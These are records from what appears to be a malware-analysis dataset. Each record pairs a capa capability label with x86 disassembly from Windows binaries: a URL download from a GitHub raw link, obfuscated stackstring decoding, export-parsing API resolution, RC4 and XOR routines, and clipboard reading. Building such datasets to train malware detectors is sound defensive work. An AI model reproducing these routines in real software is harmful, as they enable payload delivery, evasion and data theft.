joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10059b90
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x100af010]
xor eax, esp
mov dword [esp + 0x28], eax
push esi
push 0
push 0
lea eax, [esp + 0x18]
push eax
push str.https:__raw.githubusercontent.com_casulguy_rl_main_nx2
push 0
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
jne 0x10059c73
xor esi, esi
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
mov ecx, dword [eax + 0xc]
lea eax, [esp + 0x14]
push eax
mov eax, 2
sub eax, esi
push eax
lea eax, [esp + 0x20]
add eax, esi
push eax
push edx
call ecx
test eax, eax
js 0x10059c85
add esi, dword [esp + 0x14]
mov byte [esp + esi + 0x18], 0
cmp eax, 1
je 0x10059c00
cmp esi, 2
jne 0x10059bc5
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, 0x10089da0
lea eax, [esp + 0x18]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10059c33
test dl, dl
je 0x10059c2f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10059c33
add eax, 2
add ecx, 2
test dl, dl
jne 0x10059c13
xor eax, eax
jmp 0x10059c38
sbb eax, eax
or eax, 1
test eax, eax
je 0x10059c73
call fcn.1006d050
call fcn.1006d350
call fcn.1006ce00
test al, al
je 0x10059c73
call fcn.1006d660
test al, al
je 0x10059c73
call fcn.1006d8b0
test al, al
je 0x10059c73
mov al, 1
pop esi
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2c]
xor al, al
pop esi
xor ecx, esp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret
push str.Read_failed
lea ecx, [esp + 8]
call fcn.10056180
push 0x100acca4
lea eax, [esp + 8]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x1005b1c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100af010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1005b1f0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1005b220
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x1005b220
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1005b2f6
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x1005b249
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1005b255
movsx eax, bl
jmp 0x1005b28d
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x1005b2b7
sub eax, 1
je 0x1005b2b7
sub eax, 2
jne 0x1005b2f6
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1005b2d5
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1005b2f6
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1005b2f6
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006dc26
mov esp, ebp
pop ebp
ret 4
Function at 0x1005b990
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100af010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1005ba4c
cmp byte [esi + 0x3d], 0
je 0x1005ba4c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1005ba3a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x1005ba01
sub eax, 1
je 0x1005ba05
sub eax, 2
jne 0x1005ba3a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1005ba23
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1005ba3a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1006dc26
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.1006dc26
mov esp, ebp
pop ebp
ret
Function at 0x4010e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x401138
cmp byte [esi + ebx - 1], 0xa
je 0x40110c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x406084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x401b20
Capabilities:
Accept command line arguments
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop

Function at 0x401b90
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x54
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x401be7
xor ecx, ecx
xor edx, edx
jmp 0x401bc9
cmp ax, 0x5c
jne 0x401c50
add edx, 1
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x401be7
cmp ax, 9
je 0x401bd5
cmp ax, 0x20
jne 0x401bb0
test ecx, ecx
je 0x401c38
movzx eax, word [ebx + 2]
add ebx, 2
xor edx, edx
test ax, ax
jne 0x401bc9
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x20], 1
je 0x401c70
movzx esi, word [ebp - 0x1c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._wWinMain_16
sub esp, 0x10
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x401c38
cmp ax, 0x20
je 0x401c38
jmp 0x401be7
cmp ax, 0x22
jne 0x401bd9
and edx, 1
jne 0x401bd9
xor ecx, 1
jmp 0x401bbd
mov eax, 1
mov esi, 1
mov word [ebp - 0x1c], ax
jmp 0x401c00
Function at 0x402590
Capabilities:
Hash data using djb2

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
xor eax, eax
test ecx, ecx
je 0x402667
test edx, edx
je 0x402667
mov ebp, dword [esp + 0x28]
test ebp, ebp
mov dword [esp], ecx
mov esi, 0x1505
je 0x4025dd
xor edi, edi
nop
nop
nop
nop
nop
movzx ecx, byte [edx + edi]
test ecx, ecx
je 0x4025dd
mov ebx, esi
shl ebx, 5
add ebx, esi
mov esi, ebx
and esi, ecx
xor ebx, ecx
lea esi, [ebx + esi*2]
inc edi
cmp ebp, edi
jne 0x4025c0
mov dword [esp + 8], edx
mov ecx, dword [esp]
mov ebp, dword [ecx + 0x20]
lea ebx, [ebp - 1]
mov edx, ebp
sub edx, 1
jb 0x402667
and ebx, esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 4], edx
jmp 0x402604
inc ebx
dec ebp
je 0x402665
mov eax, ebx
and eax, edx
mov edi, dword [esp + 0x10]
mov edi, dword [edi + eax*4]
cmp edi, 0xffffffff
je 0x402665
mov eax, dword [ecx + 8]
cmp dword [eax + edi*4], esi
jne 0x402600
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + edi*4]
mov dword [esp + 0xc], eax
push eax
call fcn.00408e80
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
add esp, 4
cmp eax, dword [esp + 0x28]
jne 0x402600
push dword [esp + 0x28]
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.00408ea0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
add esp, 0xc
test eax, eax
jne 0x402600
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
jmp 0x402667
xor eax, eax
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4033f0
Capabilities:
Compute adler32 checksum
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov ebp, dword [esp + 0x2c]
test ebp, ebp
je 0x4035a6
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x28]
mov ecx, esi
not ecx
or ecx, 0xffff
lea edi, [esi + ecx]
inc edi
shr esi, 0x10
test eax, eax
je 0x40359f
mov ecx, 0x5e6ea9af
mov ebx, eax
mul ecx
shr edx, 0xb
imul eax, edx, 0x15b0
mov ecx, ebx
sub ebx, eax
jmp 0x40347c
add ebp, dword [esp + 0xc]
mov eax, edi
mov ecx, 0x80078071
mul ecx
mov ebx, edx
shr ebx, 0xf
mov eax, esi
mul ecx
imul eax, ebx, 0xfff1
sub edi, eax
shr edx, 0xf
imul eax, edx, 0xfff1
sub esi, eax
mov ecx, dword [esp + 0x10]
sub ecx, dword [esp + 4]
mov ebx, 0x15b0
je 0x40359f
xor eax, eax
cmp ebx, 8
mov dword [esp + 0x10], ecx
mov dword [esp + 4], ebx
jb 0x4034ff
mov eax, ebx
and eax, 0x1ff8
mov dword [esp], eax
mov edx, 7
nop
nop
nop
nop
nop
nop
movzx eax, byte [ebp]
add eax, edi
add esi, eax
movzx ecx, byte [ebp + 1]
add ecx, eax
add esi, ecx
movzx eax, byte [ebp + 2]
add eax, ecx
add esi, eax
movzx ecx, byte [ebp + 3]
add ecx, eax
mov eax, esi
and eax, ecx
xor esi, ecx
lea eax, [esi + eax*2]
movzx edi, byte [ebp + 4]
add edi, ecx
mov esi, eax
and esi, edi
xor eax, edi
movzx ecx, byte [ebp + 5]
add ecx, edi
movzx ebx, byte [ebp + 6]
add ebx, ecx
movzx edi, byte [ebp + 7]
add edi, ebx
add ebx, ecx
add ebx, eax
add ebx, edi
lea esi, [ebx + esi*2]
mov ebx, dword [esp + 4]
add ebp, 8
add edx, 8
cmp edx, ebx
jb 0x4034a0
mov eax, dword [esp]
mov ecx, ebx
sub ecx, eax
jbe 0x403444
mov dword [esp], eax
not eax
add eax, ebx
mov edx, ebx
and edx, 3
mov dword [esp + 0xc], ecx
je 0x403551
mov dword [esp + 8], eax
neg edx
xor eax, eax
mov ebx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebx]
add edi, ecx
add esi, edi
inc ebx
dec eax
cmp edx, eax
jne 0x403530
mov ecx, dword [esp]
sub ecx, eax
mov eax, dword [esp + 8]
cmp eax, 3
jb 0x403440
jmp 0x40355f
mov ebx, ebp
mov ecx, dword [esp]
cmp eax, 3
jb 0x403440
mov eax, dword [esp + 4]
sub eax, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebx + edx]
add ecx, edi
add esi, ecx
movzx edi, byte [ebx + edx + 1]
add edi, ecx
add esi, edi
movzx ecx, byte [ebx + edx + 2]
add ecx, edi
add esi, ecx
movzx edi, byte [ebx + edx + 3]
add edi, ecx
add esi, edi
add edx, 4
cmp eax, edx
jne 0x403570
jmp 0x403440
shl esi, 0x10
add esi, edi
jmp 0x4035ab
mov esi, 1
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4035c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x40361c
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
test edx, edx
je 0x40361e
not eax
xor esi, esi
nop
nop
nop
nop
movzx ebx, byte [ecx + esi]
mov edi, eax
shr edi, 4
xor eax, ebx
and eax, 0xf
mov eax, dword [eax*4 + 0x43fa18]
mov ebp, eax
and ebp, edi
add edi, eax
add ebp, ebp
sub edi, ebp
mov eax, edi
shr eax, 4
shr ebx, 4
and edi, 0xf
xor edi, ebx
xor eax, dword [edi*4 + 0x43fa18]
inc esi
cmp edx, esi
jne 0x4035e0
not eax
jmp 0x40361e
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4093d0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x124
call fcn.00439df0
test al, 1
jne 0x4093e4
jmp 0x4094bb
call fcn.00431eb0
test al, 1
jne 0x4093f2
jmp 0x4094b4
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
sub esp, 8
cmp eax, 0
setge al
test al, 1
jne 0x40941b
jmp 0x4094b2
xor eax, eax
mov dword [esp], 0
mov dword [esp + 4], 0xffffffff
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
sub esp, 0x24
cmp eax, 0
setge al
jmp 0x409475
test al, 1
jne 0x40947b
jmp 0x4094aa
call fcn.0040a550
test al, 1
jne 0x409486
jmp 0x4094a8
lea eax, [esp + 0x24]
lea ecx, str.system_or_character_via_spellings_glyphs_a_is_uses_that_in_their_modified_other_on_often_reflection_or_resemblance_on_it_leetspeak__used_similarity_internet._play_eleet_the_of_the_replacements_of_primarily_ways
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.004094d0
call fcn.0040f150
call fcn.0040c310
jmp 0x4094a8
jmp 0x4094aa
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x4094b2
jmp 0x4094b4
call fcn.0043a1f0
jmp 0x4094bb
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x409540
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov dword [esp], ecx
mov edi, dword [esp + 0x220]
movzx ecx, word [edi]
test cx, cx
je 0x40966a
lea eax, [edi + 2]
xor ebx, ebx
jmp 0x40957d
add ebx, esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x4095a1
movzx ebp, cx
xor ecx, ecx
cmp ebp, 0x800
setb dl
mov esi, 1
cmp ebp, 0x80
jb 0x409570
mov cl, dl
xor ecx, 3
mov esi, ecx
jmp 0x409570
lea esi, [ebx + 1]
push esi
call fcn.00408c40
add esp, 4
mov ebp, eax
test ebx, ebx
jle 0x409678
add ebx, ebp
add esi, ebp
mov eax, ebp
mov dword [esp + 8], esi
jmp 0x4095e8
mov byte [eax], dl
mov esi, 1
add edi, 2
add eax, esi
cmp eax, ebx
mov esi, dword [esp + 8]
jae 0x40967a
movzx edx, word [edi]
test dx, dx
je 0x40967a
cmp dx, 0x7f
jbe 0x4095d0
mov ecx, eax
not ecx
add ecx, esi
movzx esi, dx
cmp ecx, 2
jb 0x409630
cmp esi, 0x7ff
ja 0x409630
mov ecx, edx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 1], dl
mov esi, 2
jmp 0x4095d7
mov dword [esp + 4], esi
xor esi, esi
cmp ecx, 3
jb 0x4095d7
mov esi, dword [esp + 4]
mov ecx, esi
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, esi
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and dl, 0x3f
or dl, 0x80
mov byte [eax + 2], dl
mov esi, 3
jmp 0x4095d7
push 1
call fcn.00408c40
add esp, 4
mov ebp, eax
jmp 0x40967a
mov eax, ebp
mov edi, dword [esp + 0x228]
mov edx, dword [esp + 0x224]
mov byte [eax], 0
xor ecx, ecx
jmp 0x409697
mov ebx, eax
mov byte [esp + ecx + 0xc], bl
inc ecx
movzx eax, byte [ebp + ecx]
mov bl, 0x2f
cmp eax, 0x5c
je 0x409692
test eax, eax
jne 0x409690
mov byte [esp + ecx + 0xc], 0
lea eax, [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0xc]
push dword [ecx + 8]
add ecx, 0x10
push 0
push 0
push edi
push edx
push eax
push ecx
call fcn.004057f0
add esp, 0x28
test eax, eax
setne al
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x416240
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xd8
mov eax, dword [ebp + 0xc]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x416260
sar esi, 1
lea edi, [esp + 0x84]
push edi
push 0
push 0
push esi
push eax
push 0
call dword [0x4498e4]
mov ebx, dword [esp + 0x84]
test ebx, ebx
jns 0x416295
mov eax, 0xffffffff
jmp 0x416298
lea eax, [ebx + ebx]
push eax
call fcn.00408c40
add esp, 4
push edi
push ebx
mov dword [esp + 0x24], eax
push eax
push esi
push dword [ebp + 0xc]
push 0
call dword [0x4498e4]
mov dword [esp + 0x30], 0xfb44f9aa
mov dword [esp + 0x34], 0xff69fd59
mov dword [esp + 0x38], 0xf310f16a
mov dword [esp + 0x3c], 0xf753f544
mov dword [esp + 0x40], 0xeb7de964
mov dword [esp + 0x44], 0xef7ded71
mov dword [esp + 0x48], 0xe3e0e170
lea eax, [esp + 0x4c]
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x53], 0
mov dword [esp + 0xb8], 0
mov ecx, dword [esp + 0xb8]
cmp ecx, 0x26
ja 0x416381
nop
mov ecx, dword [esp + 0xb8]
mov edx, dword [esp + 0xb8]
movzx esi, byte [esp + edx + 0x30]
lea edx, [ecx + esi]
add edx, 0x3907627f
add ecx, 0x3907627f
and ecx, esi
add ecx, ecx
mov esi, edx
not esi
and esi, ecx
not ecx
and ecx, edx
sub ecx, esi
mov dword [esp + 0x90], ecx
mov ecx, dword [esp + 0x90]
add cl, 0x87
mov edx, dword [esp + 0xb8]
mov byte [esp + edx + 0x30], cl
inc dword [esp + 0xb8]
mov ecx, dword [esp + 0xb8]
cmp ecx, 0x27
jb 0x416320
lea edi, [esp + 0xb8]
lea edx, [esp + 0x30]
mov ecx, 7
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xd4]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, dword [esp + 0x84]
mov ecx, eax
add ecx, 0xd
mov ebx, dword [ebp + 0x10]
jns 0x4163bd
mov eax, 0xffffffff
jmp 0x4163c2
add eax, eax
add eax, 0x1a
push eax
call fcn.00408c40
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x1c]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x416401
mov eax, dword [esp + 0x1c]
lea edx, [eax + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4163f0
mov word [eax], 0
movzx ecx, word [esp + 0xb8]
test cx, cx
je 0x416431
lea edx, [esp + 0xba]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x416420
mov word [eax], 0
lea eax, [esp + 4]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x28], esi
push esi
call fcn.0043cba0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x443f9c]
Function at 0x4222f0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x468
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x60], 0x83168d1b
mov dword [esp + 0x64], 0x87e781e5
mov dword [esp + 0x68], 0xbbe88519
mov dword [esp + 0x6c], 0xbf36b9dd
mov dword [esp + 0x70], 0xb3b2bdd9
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
mov word [esp + 0x7c], 0
mov dword [esp + 0x14], 0
mov eax, dword [esp + 0x14]
cmp eax, 0x1d
ja 0x4223bb
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x14]
movzx edx, byte [esp + ecx + 0x60]
mov ecx, 0x944fb6e9
sub ecx, eax
add eax, 0x16
and eax, edx
or ecx, edx
not ecx
add ecx, edx
sub ecx, eax
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x28]
mov ecx, eax
xor ecx, 0x65
and eax, 0x65
lea eax, [ecx + eax*2]
inc al
mov ecx, dword [esp + 0x14]
mov byte [esp + ecx + 0x60], al
inc dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp eax, 0x1e
jb 0x422370
lea eax, [esp + 0x60]
lea ecx, [esp + 0x4c]
mov esi, eax
push eax
call fcn.00438a20
shr eax, 0x1f
jmp dword [eax*4 + 0x4455a0]
Function at 0x42e7b0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x38
mov esi, esp
mov edi, dword [ebp + 8]
push eax
mov dword [esi + 0x10], esp
push eax
mov eax, esp
sub esp, 0x18
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
mov dword [esi + 0x20], eax
call fcn.0040f140
push eax
mov dword [esi + 0x1c], esp
mov dword [esi + 0x24], edi
mov byte [esi + 3], 0
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
cmp eax, 0
setne al
test al, 1
jne 0x42e806
jmp 0x42e963
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [esi + 0x2c], eax
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [esi + 8], eax
mov eax, dword [esi + 8]
jmp 0x42e83b
cmp eax, 0
je 0x42e95d
mov eax, dword [esi + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00408e80
add esp, 4
mov ecx, dword [esi + 0x20]
mov dword [ecx], eax
cmp dword [ecx], 0
setne al
test al, 1
jne 0x42e87c
jmp 0x42e94a
mov eax, dword [esi + 0x24]
mov dword [esi + 0x14], eax
mov eax, dword [ecx]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x10]
mov edi, dword [eax]
call fcn.0040f140
mov eax, dword [esi + 0x1c]
mov al, byte [eax]
mov byte [esi + 0xc], al
mov byte [ebx], 0x93
mov byte [ebx + 1], 0xc9
mov byte [ebx + 2], 0xcb
mov byte [ebx + 3], 0xdb
mov byte [ebx + 4], 0xac
mov byte [ebx + 5], 0xd8
mov byte [ebx + 6], 0xaf
mov byte [ebx + 7], 0xd9
mov byte [ebx + 8], 0xaa
mov byte [ebx + 9], 0x9f
mov byte [ebx + 0xa], 0xd8
mov byte [ebx + 0xb], 0xcb
mov byte [ebx + 0xc], 0xd6
mov byte [ebx + 0xd], 0x41
mov dword [ebx + 0xe], 0
mov dword [esi + 4], 0
mov eax, dword [esi + 4]
cmp eax, 0x12
jae 0x42e922
jmp 0x42e8e8
mov eax, dword [esi + 4]
mov ecx, dword [esi + 4]
movzx ecx, byte [ebx + ecx]
mov edx, eax
add edx, 0xcd3bd50d
add eax, 0xd
and eax, ecx
or edx, ecx
sub edx, eax
mov dword [esi + 0x28], edx
mov eax, dword [esi + 0x28]
add al, 0xa5
mov ecx, dword [esi + 4]
mov byte [ebx + ecx], al
mov eax, dword [esi + 4]
inc eax
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
cmp eax, 0x12
jb 0x42e8e8
jmp 0x42e922
sub esp, 0xc
mov ecx, dword [esi + 0x14]
mov dword [esp], ebx
mov dword [esp + 4], edi
mov eax, dword [esi + 0x18]
mov dword [esp + 8], eax
call fcn.004096f0
jmp 0x42e93d
and al, 1
jmp 0x42e941
jmp 0x42e943
mov byte [esi + 3], al
jmp 0x42e948
jmp 0x42e94a
mov eax, dword [esi + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x42e95b
jmp 0x42e95d
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, byte [esi + 3]
jmp 0x42e968
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret